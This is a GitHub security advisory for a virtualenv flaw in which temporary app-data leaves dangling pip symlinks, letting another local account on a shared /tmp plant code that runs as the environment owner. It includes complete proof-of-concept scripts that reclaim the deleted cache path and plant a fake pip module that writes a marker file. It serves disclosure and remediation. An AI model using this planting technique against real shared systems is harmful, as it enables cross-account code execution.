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virtualenv: Temporary app-data can leave dangling seed package links

Moderate severity GitHub Reviewed Published Oct 17, 2026 in pypa/virtualenv • Updated Oct 23, 2026

Package

pip virtualenv (pip)

Affected versions

>= 21.14.8, < 21.14.10

Patched versions

21.14.10

Description

Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation
finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though
the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its
owner no longer controls.

Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026.
This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim
has not been independently reproduced.

Affected area

Integrity of app-data references after temporary cache cleanup.

Attacker-controlled input

Symlink seeding must be enabled through VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data in the configuration file,
and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that
fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache
pathname, followed by use of the affected environment. That account need not already be able to modify the environment
or the private cache while it exists. This differs from the security policy's excluded case of an account that already
controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that
cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows
defaults.

Affected code

The relevant 21.14.8 source is in
symlink seeder,
temporary cache cleanup.

Mechanism

When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A
value supplied by VIRTUALENV_SYMLINK_APP_DATA or virtualenv.ini can still become the parser default, and the seeder
constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary
cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another
account on a shared temporary filesystem.

Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment
owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a
real pip directory. With VIRTUALENV_SYMLINK_APP_DATA=1, the new environment instead contained a pip link into a
deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/__init__.py there.
When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed
this is not pip.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later
use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache
guard to #1661, first released in 20.0.6.
Public fix PR #3437 copies packages whenever app-data is
temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the
cross-account reproduction.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant V as virtualenv seeder
    participant T as Temporary app-data in /tmp
    participant E as site-packages/pip link
    participant A as Other local account
    U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
    V->>T: create transient cache
    V->>E: link pip to cache path
    V->>T: delete cache at session exit
    A->>T: reclaim old name and plant fake pip
    U->>E: run bin/pip --version
    E->>T: import fake pip through stale link
    T-->>U: attacker's code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody")  # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL  --symlink-app-data:            {control_pip} is a symlink: {control_pip.is_symlink()}")

# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")

# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
    print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
    subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)

# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")

# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
    print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")

repro.d/fake_pip.py

# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
    proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")

sys.exit("this is not pip")

repro.d/plant_fake_pip.py

import os
import shutil
import sys
from pathlib import Path

dangling_link = sys.argv[1]  # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))

# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")

Impact

Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later
package load can follow the stale cache reference into a pathname another account has acquired. A private
temporary-directory parent prevents that cross-account condition.

Severity: low.

Versions tested

The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at
21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.

The reporter identifies 20.0.6 as the first affected release. Commit
c3453b6c, first included in
20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.

The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected
through environment variables or configuration. The environment then remains usable after cache cleanup.

Proposed fix: PR #3437.

Known mitigation

The proposed fix is in public PR #3437.

The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data,
regardless of where the symlink option came from. Persistent caches retain symlink seeding.

Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a
writable persistent cache private to the environment owner. Recreate affected environments after correcting those
settings. No fixed release is available yet.

Affected release

  • The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

References

@gaborbernat gaborbernat published to pypa/virtualenv Oct 17, 2026
Published by the National Vulnerability Database Oct 20, 2026
Published to the GitHub Advisory Database Oct 23, 2026
Reviewed Oct 23, 2026
Last updated Oct 23, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Insecure Temporary File

Creating and using insecure temporary files can leave application and system data vulnerable to attack. Learn more on MITRE.

CVE ID

CVE-2026-113713

GHSA ID

GHSA-4f8h-vr72-p32c

Source code

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